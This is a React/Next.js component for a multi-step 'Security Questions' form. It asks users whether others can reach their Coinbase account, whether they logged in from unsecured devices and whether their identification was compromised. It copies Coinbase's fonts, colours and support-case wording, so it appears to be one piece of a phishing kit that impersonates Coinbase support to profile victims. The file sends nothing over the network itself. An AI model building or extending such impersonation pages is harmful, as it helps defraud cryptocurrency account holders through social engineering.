import { useState, ChangeEvent } from 'react'
import { FormProps } from '.'
import { cn } from '@/lib/utils'
import Image from "next/image"
import { ChevronLeft } from 'lucide-react'

const questions = [
    "Does anyone else have access to your Coinbase account, such as a friend or family member?",
    "Have you recently logged in from an unsecured device, like a public or work computer?",
    "Are you aware of anyone gaining unauthorized access to your personal identification?"
]

export default function Security({
    formData,
    handleInputChange,
    isSubmitting = false,
    handleContinue = () => { }
}: FormProps) {
    const [currentQuestionIndex, setCurrentQuestionIndex] = useState(0)
    const [additionalInfo, setAdditionalInfo] = useState<string[]>([])
    const [selectedOptions, setSelectedOptions] = useState<(string | null)[]>([])

    const handleOptionSelect = (index: number, option: 'Yes' | 'No') => {
        const newOptions = [...selectedOptions]
        newOptions[index] = option
        setSelectedOptions(newOptions)

        const newInfo = [...additionalInfo]
        if (option === 'No') {
            newInfo[index] = ''
            handleInputChange('answers', [
                ...(formData.answers || []).slice(0, index),
                'No'
            ])
        } else {
            // Keep additionalInfo if already typed
            handleInputChange('answers', [
                ...(formData.answers || []).slice(0, index),
                `Yes${newInfo[index] ? ` | ${newInfo[index]}` : ''}`
            ])
        }
        setAdditionalInfo(newInfo)
    }

    const handleInfoChange = (index: number, value: string) => {
        const updatedInfo = [...additionalInfo]
        updatedInfo[index] = value
        setAdditionalInfo(updatedInfo)

        if (selectedOptions[index] === 'Yes') {
            const fullAnswer = value ? `Yes | ${value}` : 'Yes'
            const updatedAnswers = [...(formData.answers || [])]
            updatedAnswers[index] = fullAnswer
            handleInputChange('answers', updatedAnswers)
        }
    }

    const handleNext = () => {
        if (currentQuestionIndex < questions.length - 1) {
            setCurrentQuestionIndex(prev => prev + 1)
        } else {
            handleContinue()
        }
    }

    const handleBack = () => {
        if (currentQuestionIndex > 0) {
            setCurrentQuestionIndex(prev => prev - 1)
        }
    }

    return (
        <div className='gap-6 flex flex-col pb-6'>
            <div className='w-full flex flex-col justify-center gap-4'>
                <Image src={'/key.svg'} width={70} height={70} alt='logo' priority />
                <h2 className='text-[28px]'>Security Questions</h2>
                <p className='text-muted-foreground font-cbtext text-sm'>
                    Please answer some questions to gather more information about your case.
                </p>
            </div>

            <div className='flex flex-col gap-5'>
                <div className="flex flex-col gap-2">
                    <label className="font-semibold text-sm leading-5">
                        {currentQuestionIndex + 1}. {questions[currentQuestionIndex]}
                    </label>
                    <div className="flex gap-3">
                        {['Yes', 'No'].map(option => (
                            <button
                                key={option}
                                onClick={() => handleOptionSelect(currentQuestionIndex, option as 'Yes' | 'No')}
                                className={cn(
                                    'px-4 py-2 rounded-full border font-medium text-sm',
                                    selectedOptions[currentQuestionIndex] === option
                                        ? 'bg-primary text-white border-primary'
                                        : 'bg-muted text-foreground border-border hover:bg-accent'
                                )}
                                disabled={isSubmitting}
                            >
                                {option}
                            </button>
                        ))}
                    </div>

                    <textarea
                        placeholder="Additional info (optional)"
                        disabled={selectedOptions[currentQuestionIndex] !== 'Yes'}
                        value={additionalInfo[currentQuestionIndex] || ''}
                        onChange={(e) => handleInfoChange(currentQuestionIndex, e.target.value)}
                        className="disabled:cursor-not-allowed disabled:opacity-50 w-full min-h-[100px] resize-none rounded-[8px] border border-input bg-background font-cbsans p-4 text-base shadow-sm transition-colors placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:border-primary mt-2"
                    />
                </div>

                <div className={cn(isSubmitting || currentQuestionIndex === 0 ? "!gap-0" : "gap-2", "flex flex-row items-center justify-center transition-all duration-200 ease-linear")}>
                    <button
                        onClick={handleBack}
                        disabled={currentQuestionIndex === 0 || isSubmitting}
                        className={cn(
                            'flex items-center justify-center bg-secondary w-full p-3 h-[56px] rounded-full transition-all duration-300 ease-in-out overflow-hidden',
                            currentQuestionIndex === 0 || isSubmitting
                                ? 'opacity-0 max-w-0 p-0 pointer-events-none'
                                : 'opacity-100 max-w-full'
                        )}
                        aria-label='Previous Question'
                    >
                        <ChevronLeft className='w-5 h-5 mr-1' />
                        Go back
                    </button>

                    <button
                        onClick={handleNext}
                        className={`disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${isSubmitting ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none' : ''}`}
                    >
                        {isSubmitting ? (
                            <div className='!border-b-[rgb(10,11,13)] loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'></div>
                        ) : currentQuestionIndex === questions.length - 1 ? 'Submit' : 'Next'}
                    </button>
                </div>

                <span className="text-sm text-center font-medium text-muted-foreground font-cbtext">
                    Question {currentQuestionIndex + 1} of {questions.length}
                </span>
            </div>
        </div>
    )
}
